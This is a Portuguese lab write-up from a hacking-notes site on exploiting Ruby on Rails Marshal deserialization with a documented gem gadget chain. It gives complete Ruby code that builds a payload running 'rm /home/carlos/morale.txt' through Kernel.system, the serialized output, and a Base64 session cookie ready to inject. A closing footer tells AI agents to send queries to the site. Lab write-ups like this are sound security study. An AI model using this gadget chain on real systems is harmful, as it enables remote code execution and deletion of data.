> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).

# Desserialização em Ruby com um Gadget Documentado

### Explorando a desserialização em Ruby usando uma cadeia de gadgets documentada

**Contexto do laboratório**

Este laboratório usa um mecanismo de sessão baseado em serialização e é baseado no **Ruby on Rails** framework. / Existem gadgets\*\* documentados publicamente que permitem uma \*\* execução remota de código (NCE)\*\* via `Marshal`.

Objetivo:/ Criar um objeto serializado malicioso, injetá-lo no cookie de sessão e excluir o arquivo:

```bash
/home/carlos/morale.txt
```

Identificador fornecido:

wiener : peter

**Análise da sessão**

Após a autenticação, o servidor fornece um cookie de sessão serializado em Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

Isso indica claramente o uso de `Marshal.dump` no lado do servidor.

Uma string de gadgets documentada baseada nas seguintes classes Ruby é usada:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

Essa string aciona uma chamada para `Kernel.system`.

**Construção da carga útil em Ruby**

O código a seguir é usado para criar um objeto serializado executando o comando-alvo:

```ruby
# Carregue automaticamente as classes necessárias
Gem::SpecFetcher
Gem::Installer

# impede que a carga útil seja executada quando fazemos Marshal.dump nela
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="/files/45941866d52fe04c00430f6843ccf4bc5750c353" alt=""><figcaption></figcaption></figure>

**Codificação em Base64**

Para injetar a carga útil no cookie de sessão, ela é codificada em Base64:

```java
puts Base64.encode64(payload)
```

Cadeia final obtida:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="/files/e0fd06eadd2862c0317089946685e930f0754a63" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
